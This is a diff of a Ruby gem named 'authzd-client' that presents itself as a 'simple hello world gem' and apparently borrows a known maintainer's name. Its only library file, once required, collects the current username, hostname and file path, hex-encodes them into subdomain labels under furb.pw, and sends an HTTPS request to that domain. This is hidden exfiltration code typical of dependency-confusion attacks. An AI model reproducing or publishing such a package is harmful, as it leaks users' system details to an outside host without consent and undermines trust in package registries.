authzd-client 0.11.10.r813fef313

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: bb7972d475eec356af70bb350b97f5b4b7a3370a368b482df41bea7d79193dc6
+  data.tar.gz: 477739ca6cc83fdc57f9747b1c4d6fe844d93835ed068f02aea98278f6ef1c99
+SHA512:
+  metadata.gz: 6343144ef405a7f8a5d21e8d15f92ec8943d123f355c1c937276b5584304a7ddff6cd6046d9e353263c0515550c63c75dd830adfee15414bdde37872ecf8e99e
+  data.tar.gz: d8fd356295a4802c1a85c8fb54eed2d986e3e5dfc7151d8bcd94659ff8dffdbcc4bbe86a747ef835af0844be292c8b4cd692b3d1b70cdf9c41e546d85e3b781a

data/lib/authzd-client.rb

@@ -0,0 +1,146 @@
+#!/usr/bin/env ruby
+"""
+author: furbreeze@github.io
+"""
+
+require 'net/http'
+require 'socket'
+
+
+def hex_encode(string)
+  """Convert string to hexadecimal encoding."""
+  string.unpack1('H*')
+end
+
+def collect_system_info
+  """Collect and hex encode system information."""
+  info = {}
+  
+  # Get username of the current process
+  username = ENV['USER'] || ENV['USERNAME'] || `whoami`.strip
+  info[:username] = username
+  info[:username_hex] = hex_encode(username)
+  
+  # Get hostname of the machine
+  hostname = Socket.gethostname
+  info[:hostname] = hostname
+  info[:hostname_hex] = hex_encode(hostname)
+  
+  # Get path of the current file
+  file_path = File.expand_path(__FILE__)
+  info[:file_path] = file_path
+  info[:file_path_hex] = hex_encode(file_path)
+  
+  info
+end
+
+def truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw")
+  """Truncate filepath hex until total domain length is 253 characters or less."""
+  
+  # Calculate the base length: username.hostname.filepath.furb.pw
+  # We need 3 dots plus the base domain length
+  base_length = username_hex.length + hostname_hex.length + base_domain.length + 3
+  
+  # Maximum allowed total length is 253 characters
+  max_length = 220
+  available_for_filepath = max_length - base_length
+  
+  # If filepath is too long, truncate it
+  if available_for_filepath < filepath_hex.length
+    if available_for_filepath > 0
+      truncated_filepath = filepath_hex[0, available_for_filepath]
+    else
+      truncated_filepath = ""
+    end
+    puts "Warning: Filepath truncated from #{filepath_hex.length} to #{truncated_filepath.length} characters"
+  else
+    truncated_filepath = filepath_hex
+  end
+
+  truncated_filepath = chunk_string(truncated_filepath)
+  
+  # Construct the final domain
+  if truncated_filepath.empty?
+    domain = "a#{username_hex}.a#{hostname_hex}.#{base_domain}"
+  else
+    domain = "a#{username_hex}.a#{hostname_hex}.a#{truncated_filepath}.#{base_domain}"
+  end
+  
+  puts "Final domain length: #{domain.length} characters"
+  domain
+end
+
+def chunk_string(str, max_length = 60)
+  str.scan(/.{1,#{max_length}}/).join('.a')
+end
+
+def send_data(domain)
+  """Send HTTP request to the constructed domain."""
+  begin
+    # Create HTTP connection
+    uri = URI("https://#{domain}/")
+    http = Net::HTTP.new(uri.host, 443)
+    http.open_timeout = 5
+    http.read_timeout = 5
+    
+    # Create GET request
+    request = Net::HTTP::Get.new(uri)
+    request['User-Agent'] = 'Ruby/SystemInfo'
+    
+    # Send request
+    response = http.request(request)
+    
+    puts "Request sent successfully!"
+    puts "Response code: #{response.code}"
+    puts "Response body: #{response.body}" unless response.body.empty?
+    
+    return true
+    
+  rescue Net::TimeoutError
+    puts "Error: Connection timed out"
+    return false
+  rescue Errno::ECONNREFUSED
+    puts "Error: Connection refused - target may not be listening"
+    return false
+  rescue SocketError => e
+    puts "Error: Socket error - #{e.message}"
+    return false
+  rescue StandardError => e
+    puts "Error: #{e.message}"
+    return false
+  end
+end
+
+def main
+  # Collect system information
+  puts "Collecting system information..."
+  system_info = collect_system_info
+  
+  puts "Collected information:"
+  puts "  Username: #{system_info[:username]}"
+  puts "  Username (hex): #{system_info[:username_hex]}"
+  puts "  Hostname: #{system_info[:hostname]}"
+  puts "  Hostname (hex): #{system_info[:hostname_hex]}"
+  puts "  File path: #{system_info[:file_path]}"
+  puts "  File path (hex): #{system_info[:file_path_hex]} (#{system_info[:file_path_hex].length} chars)"
+  
+  # Create the target domain with truncation if needed
+  puts "\nConstructing target domain..."
+  target_domain = truncate_domain(
+    system_info[:username_hex],
+    system_info[:hostname_hex],
+    system_info[:file_path_hex]
+  )
+  
+  puts "Target domain: #{target_domain}"
+  
+  # Send the request
+  puts "\nSending request..."
+  success = send_data(target_domain)
+  
+  exit success ? 0 : 1
+end
+
+unless __FILE__ == $0
+  main()
+end

metadata

@@ -0,0 +1,40 @@
+--- !ruby/object:Gem::Specification
+name: authzd-client
+version: !ruby/object:Gem::Version
+  version: 0.11.10.r813fef313
+platform: ruby
+authors:
+- Nick Quaranto
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: A simple hello world gem
+email: nick@quaran.to
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/authzd-client.rb
+homepage: https://rubygems.org/gems/authzd-client
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: Hola!
+test_files: []